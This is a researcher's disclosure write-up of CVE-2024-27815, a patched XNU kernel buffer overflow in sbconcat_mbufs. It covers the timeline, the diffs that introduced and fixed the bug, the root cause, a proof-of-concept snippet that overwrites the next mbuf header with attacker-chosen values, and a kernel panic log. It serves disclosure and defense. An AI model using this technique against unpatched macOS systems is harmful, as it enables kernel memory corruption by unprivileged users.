< Home Light Mode
CVE-2024-27815
A Buffer Overflow in the XNU Kernel
What if I'm not like the others? A broken mbuf, an overwrite-- What if my Mac won't recover? I'll clean my code with TURPENTINE!
CVE-2024-27815 is a buffer overflow in the XNU kernel I reported in sbconcat_mbufs
.
It was publicly fixed in xnu-10063.121.3
, released with macOS 14.5, iOS 17.5, and visionOS 1.2.
This bug was introduced in xnu-10002.1.13
(macOS 14.0/ iOS 17.0) and was fixed in xnu-10063.121.3
(macOS 14.5/ iOS 17.5). The bug affects kernels compiled with CONFIG_MBUF_MCACHE
.
I have verified the existence of this bug on X86_64
builds of macOS 14.2, 14.3, and 14.4.
TURPENTINE.c
contains a PoC, and an example crash log is shown below.
You can find the proof-of-concept code here.
I would like to thank the Apple Product Security Team for both their swift response to this bug and their overall support for security research.
Timeline
- September 26, 2023: macOS 14.0 Sonoma was released with
xnu-10002.1.13
, the first public kernel release with this bug. - Early 2024: I disclosed the details of this bug along with
TURPENTINE.c
(the proof-of-concept attached to this report) to Apple in early 2024. - February 17, 2024: I posted the hash of
TURPENTINE.c
to X on Feb 17, 2024. - April 2, 2024: macOS Sonoma 14.5 beta 1 (
23F5049f
) shipped withxnu-10063.120.88.501.3
, the first kernel version with a fix for this bug. - May 13, 2024: macOS Sonoma 14.5 (
23F79
) shipped withxnu-10063.121.3
, the first public release containing a fix. - June 10, 2024: visionOS 1.2 is released (the last OS on a kernel prior to
xnu-10063.121.3
), and Apple's website is updated to include CVE-2024-27815 for visionOS 1.2, macOS 14.5, iOS 17.5/ iPadOS 17.5, watchOS 10.5, and tvOS 17.5.
Security Advisories
- https://support.apple.com/HT214108
- https://support.apple.com/HT214106
- https://support.apple.com/HT214104
- https://support.apple.com/HT214102
- https://support.apple.com/HT214101
$ sha256sum TURPENTINE.c f7160a6ad7d52f32d64b86cf3006c98a217954d80c3fc71a8f27595e227d0fa0 TURPENTINE.c
Root Cause
Message buffers (struct mbuf
's) are objects used in various networking / BSD portions of the kernel.
mbuf
's consist of a header and data portion, both of fixed size.
_MSIZE
is the total size of a message buffer, and MLEN
is the length of the data part of the message buffer (eg. not counting the header).
asa->sa_len
can be up to SOCK_MAXADDRLEN
(255) as it's just a single unsigned byte.
When CONFIG_MBUF_MCACHE
is on:
This bcopy
in sbconcat_mbufs
copies a socket address into a message buffer.
It allows the attacker to write up to sa_len
(up to 255) bytes of data into a message buffer's data field, which is only MLEN
(224) bytes long.
MGET(m, M_DONTWAIT, MT_SONAME); ... m->m_len = asa->sa_len; bcopy((caddr_t)asa, mtod(m, caddr_t), asa->sa_len);
Note: Recall that
bcopy
's arguments are (source, dest, len)- the opposite ofmemcpy
.mtod
just grabs the data field from anmbuf
. So, thisbcopy
copies the socket address intombuf.M_databuf
, potentially overflowing it.
xnu-10002.1.13
introduced the bug when this macro was added that only emits the bounds check when _MSIZE
is smaller than a byte (after checking sa_len
is only a byte).
The mistake was using _MSIZE
instead of MLEN
, the actual length of available space in which to copy data.
Change that Introduced the Bug
@@ -1233,9 +1233,13 @@ sbconcat_mbufs(struct sockbuf *sb, struct sockaddr *asa, struct mbuf *m0, struct } if (asa != NULL) { + _CASSERT(sizeof(asa->sa_len) == sizeof(__uint8_t)); +#if _MSIZE <= UINT8_MAX if (asa->sa_len > MLEN) { return NULL; } +#endif + _CASSERT(sizeof(asa->sa_len) == sizeof(__uint8_t)); space += asa->sa_len; }
This macro was presumably added to increase performance by removing a redundant check, but this was done incorrectly.
_MSIZE
is the total size of a message buffer, including its header.
There are only MLEN
bytes available to copy into, not _MSIZE
.
The original check (that sa_len > MLEN
) is correct, but the added macro is not.
Apple's Fix
@@ -1226,12 +1226,9 @@ sbconcat_mbufs(struct sockbuf *sb, struct sockaddr *asa, struct mbuf *m0, struct if (asa != NULL) { _CASSERT(sizeof(asa->sa_len) == sizeof(__uint8_t)); -#if _MSIZE <= UINT8_MAX - if (asa->sa_len > MLEN) { + if (MLEN <= UINT8_MAX && asa->sa_len > MLEN) { return NULL; } -#endif - _CASSERT(sizeof(asa->sa_len) == sizeof(__uint8_t)); space += asa->sa_len; }
Apple released a fix in xnu-10063.121.3
, which is the kernel that ships with macOS 14.5.
Now, sbconcat_mbufs
correctly compares MLEN
, not _MSIZE
, to UINT8_MAX
.
When the constant MLEN
is always larger than UINT8_MAX
, the compiler can optimize this check out, and this is safe because the CASSERT
guarantees sa_len
is at most 255.
Proof of Concept
All you need are 3 syscalls- socketpair
, bind
, and write
.
No extra privileges are needed.
The kernel needs to have been compiled with CONFIG_MBUF_MCACHE
as well.
I have tested and verified the presence of this bug on X86_64
builds of macOS 14.2, 14.3, and 14.4.
To run:
gcc turpentine.c -o turpentine
and ./turpentine
.
The PoC code can be found here.
Overflow
Given the overflow is SOCK_MAXADDRLEN - MLEN
bytes long, and MLEN = _MSIZE - sizeof(m_hdr)
:
Overflow = SOCK_MAXADDRLEN - MLEN Overflow = SOCK_MAXADDRLEN - (_MSIZE - sizeof(m_hdr)) Overflow = sizeof(m_hdr) - (_MSIZE - SOCK_MAXADDRLEN)
The overflow is always sizeof(m_hdr) - (_MSIZE - SOCK_MAXADDRLEN)
bytes long.
When CONFIG_MBUF_MCACHE
is on, _MSIZE (256) - SOCK_MAXADDRLEN (255)
is 1.
This means we have sizeof(m_hdr) - 1
bytes of overflow.
This gives us control over all but the last byte of the m_hdr
of the next mbuf
in memory, as usually the thing in memory past our mbuf
is another mbuf
.
We can deterministically set every field of the m_hdr
of the next mbuf
in memory to any attacker-controlled arbitrary value.
mbuf.h:133
shows the definition for a mbuf
's header when CONFIG_MBUF_MCACHE
is on:
struct m_hdr { struct mbuf *mh_next; /* next buffer in chain */ struct mbuf *mh_nextpkt; /* next chain in queue/record */ uintptr_t mh_data; /* location of data */ int32_t mh_len; /* amount of data in this mbuf */ u_int16_t mh_type; /* type of data in this mbuf */ u_int16_t mh_flags; /* flags; see below */ };
We can write arbitrary attacker-controlled values into the entirety of mh_next
, mh_nextpkt
, mh_data
, mh_len
, mh_type
, and the least significant byte of mh_flags
.
TURPENTINE.c
triggers the exploit by creating a socket address that is 255 bytes long.
The last 31 bytes of the socket name are copied beyond the bounds of the mbuf.M_databuf
field, overlapping the m_hdr
of the next message buffer in memory.
TURPENTINE.c
sets these fields to sentinel values for demonstration purposes.
TURPENTINE.c:50
sets up a fake m_hdr
inside the socket name:
// Fill in with whatever you want the m_hdr of the next mbuf to be :) m_hdr *header = (m_hdr *)&sockaddr_un_buf[OFFSET_MHDR]; header->mh_next = 0x4040404040404040ULL; header->mh_nextpkt = 0x4141414141414141ULL; header->mh_data = 0x4242424242424242ULL; header->mh_len = 0x43434343; header->mh_type = 0x4444; header->mh_flags = 0x4545;
Example Crash
Here's an example crash- a general protection fault in kernel_task
.
Don't let the kexts in the backtrace fool you- this bug is localized to just the main kernel. The PoC allocates an mbuf and corrupts the mbuf in memory after it, which in my environment usually is owned by a kext. It's not an mbuf created by the PoC that is corrupted, but some random mbuf owned by something else (usually a kext). That's why this backtrace shows kext methods.
When TURPENTINE.c
runs, it overwrites the m_hdr
of the next mbuf
in memory, setting the entire header to attacker-controlled arbitrary values.
For this demo, I just set the m_hdr
to 0x4141414141414141
's.
Debugger: Unexpected kernel trap number: 0xd, RIP: 0xffffff8003901082, CR2: 0x0 CPU 0 panic trap number 0xd, rip 0xffffff8003901082 cr0 0x000000008001003b cr2 0x00007ff7bac54ad0 cr3 0x000000000843e000 cr4 0x00000000001406e0 Debugger called:panic(cpu 0 caller 0xffffff8003d851b3): Kernel trap at 0xffffff8003901082, type 13=general protection, registers: CR0: 0x000000008001003b, CR2: 0x00007ff7bac54ad0, CR3: 0x000000000843e000, CR4: 0x00000000001406e0 RAX: 0xbdbdbd48aab09a6e, RBX: 0xffffff8aecf2dcb0, RCX: 0x000000000000003c, RDX: 0x000000000000003c RSP: 0xffffffb55ab0bcf8, RBP: 0xffffffb55ab0bd10, RSI: 0x4242424242424242, RDI: 0xffffff8aecf2dcb0 R8: 0xffffff8aecf2dd00, R9: 0xffffff8aecf2dd00, R10: 0xffffff8aecf2dc08, R11: 0x0000000066316350 R12: 0x000000000000003c, R13: 0x000000000000003c, R14: 0xffffff8aecf2dcb0, R15: 0x000000000000003c RFL: 0x0000000000010282, RIP: 0xffffff8003901082, CS: 0x0000000000000008, SS: 0x0000000000000010 Fault CR2: 0x0000000000000000, Error code: 0x0000000000000000, Fault CPU: 0x0 VMM, PL: 0, VF: 0 Panicked task 0xffffff9fc2224be8: 165 threads: pid 0: kernel_task Backtrace (CPU 0), panicked thread: 0xffffff915cabbb30, Frame : Return Address 0xffffff800390c140 : 0xffffff8003c36c41 mach_kernel : _handle_debugger_trap + 0x4b1 0xffffff800390c190 : 0xffffff8003d955c0 mach_kernel : _kdp_i386_trap + 0x110 0xffffff800390c1d0 : 0xffffff8003d84d0c mach_kernel : _kernel_trap + 0x55c 0xffffff800390c250 : 0xffffff8003bd3971 mach_kernel : _return_from_trap + 0xc1 0xffffff800390c270 : 0xffffff8003c36f2d mach_kernel : _DebuggerTrapWithState + 0x5d 0xffffff800390c360 : 0xffffff8003c365d3 mach_kernel : _panic_trap_to_debugger + 0x1e3 0xffffff800390c3c0 : 0xffffff80043d8d0b mach_kernel : _panic + 0x84 0xffffff800390c4b0 : 0xffffff8003d851b3 mach_kernel : _sync_iss_to_iks + 0x2c3 0xffffff800390c630 : 0xffffff8003d84e97 mach_kernel : _kernel_trap + 0x6e7 0xffffff800390c6b0 : 0xffffff8003bd3971 mach_kernel : _return_from_trap + 0xc1 0xffffff800390c6d0 : 0xffffff8003901082 0xffffffb55ab0bd10 : 0xffffff8005cfeb8f com.apple.iokit.IONetworkingFamily : __ZL12IO_COPY_MBUFP6__mbufS0_i + 0xb3 0xffffffb55ab0bd60 : 0xffffff8005cfec9c com.apple.iokit.IONetworkingFamily : __ZN19IONetworkController19replaceOrCopyPacketEPP6__mbufjPb + 0x9e 0xffffffb55ab0bda0 : 0xffffff8005f46b93 com.apple.driver.AppleVmxnet3Ethernet : __ZN21AppleVMXNETController18replace_dma_bufferEP10mbuf_dma_sii + 0x2f 0xffffffb55ab0bdf0 : 0xffffff8005f45ffe com.apple.driver.AppleVmxnet3Ethernet : __ZN21AppleVMXNETController12rx_pkt_queueEiP11IOMbufQueuej + 0x128 0xffffffb55ab0bea0 : 0xffffff8005f45d1d com.apple.driver.AppleVmxnet3Ethernet : __ZN21AppleVMXNETController21interrupt_msi_handlerEP22IOInterruptEventSourcei + 0x5f 0xffffffb55ab0bed0 : 0xffffff800430e90a mach_kernel : __ZN22IOInterruptEventSource12checkForWorkEv + 0x12a 0xffffffb55ab0bf20 : 0xffffff800430d12e mach_kernel : __ZN10IOWorkLoop15runEventSourcesEv + 0x13e 0xffffffb55ab0bf60 : 0xffffff800430c756 mach_kernel : __ZN10IOWorkLoop10threadMainEv + 0x36 0xffffffb55ab0bfa0 : 0xffffff8003bd319e mach_kernel : _call_continuation + 0x2e Kernel Extensions in backtrace: com.apple.iokit.IONetworkingFamily(3.4)[5D912FD8-C4CD-3CF6-B214-DF5BF7AB4FA0]@0xffffff8005cf4000->0xffffff8005d0bfff com.apple.driver.AppleVmxnet3Ethernet(1.0.10)[5FAEBB98-3551-319C-8075-EA4855C07B97]@0xffffff8005f42000->0xffffff8005f46fff dependency: com.apple.iokit.IONetworkingFamily(3.4)[5D912FD8-C4CD-3CF6-B214-DF5BF7AB4FA0]@0xffffff8005cf4000->0xffffff8005d0bfff dependency: com.apple.iokit.IOPCIFamily(2.9)[1B194276-D13F-32DD-8B6D-4751C1C73603]@0xffffff8005f55000->0xffffff8005f86fff Process name corresponding to current thread (0xffffff915cabbb30): kernel_task Boot args: kcsuffix=release wdt=-1 serial=5 debug=0x10012a kasan.checks=4294967295 -v keepsyms=1 amfi_get_out_of_my_way=1 tlbto_us=0 vti=9 Mac OS version: 23D56 Kernel version: Darwin Kernel Version 23.3.0: Wed Dec 20 21:28:58 PST 2023; root:xnu-10002.81.5~7/RELEASE_X86_64 Kernel UUID: 8C96896D-43A3-3BF0-8F4C-4118DA6AC9AA roots installed: 0 KernelCache slide: 0x0000000003800000 KernelCache base: 0xffffff8003a00000 Kernel slide: 0x00000000038e0000 Kernel text base: 0xffffff8003ae0000 __HIB text base: 0xffffff8003900000
-ravi
June 19, 2024